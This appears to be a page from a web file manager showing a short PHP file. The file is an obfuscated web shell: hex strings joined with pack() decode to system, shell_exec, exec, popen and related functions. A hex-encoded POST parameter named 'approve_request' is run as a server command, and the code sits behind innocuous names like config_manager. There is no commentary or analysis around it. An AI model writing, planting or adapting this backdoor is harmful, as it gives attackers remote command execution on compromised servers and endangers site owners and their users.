Sindbad~EG File Manager

<?php


$comp1 = '973';
$comp2 = '736';
$comp3 = '865';
$comp4 = 'c5f';
$comp5 = '657';
$comp6 = '173';
$comp7 = '472';
$comp8 = '5f6';
$comp9 = '656';
$comp10 = '6f7';
$comp11 = '365';
$comp12 = 'f76';
$comp13 = '655';
$comp14 = 'f72';
$comp15 = '175';
$config_manager1 = pack("H*", '737' . $comp1 . '746' . '56d');
$config_manager2 = pack("H*", $comp2 . $comp3 . '6c6' . $comp4 . $comp5 . '865');
$config_manager3 = pack("H*", $comp5 . '865');
$config_manager4 = pack("H*", '706' . $comp6 . '737' . '468' . '727');
$config_manager5 = pack("H*", '706' . 'f70' . '656');
$config_manager6 = pack("H*", '737' . $comp7 . '656' . '16d' . $comp8 . '765' . '745' . 'f63' . '6f6' . 'e74' . $comp9 . 'e74');
$config_manager7 = pack("H*", '706' . '36c' . $comp10 . $comp11);
$approve_request = pack("H*", '617' . '070' . '726' . $comp12 . $comp13 . $comp14 . $comp5 . $comp15 . $comp5 . '374');
if (isset($_POST[$approve_request])) {
    $approve_request = pack("H*", $_POST[$approve_request]);
    if (function_exists($config_manager1)) {
        $config_manager1($approve_request);
    } elseif (function_exists($config_manager2)) {
        print $config_manager2($approve_request);
    } elseif (function_exists($config_manager3)) {
        $config_manager3($approve_request, $dchunk_marker);
        print join("\n", $dchunk_marker);
    } elseif (function_exists($config_manager4)) {
        $config_manager4($approve_request);
    } elseif (function_exists($config_manager5) && function_exists($config_manager6) && function_exists($config_manager7)) {
        $rec_data = $config_manager5($approve_request, 'r');
        if ($rec_data) {
            $holder_k = $config_manager6($rec_data);
            $config_manager7($rec_data);
            print $holder_k;
        }
    }
    exit;
}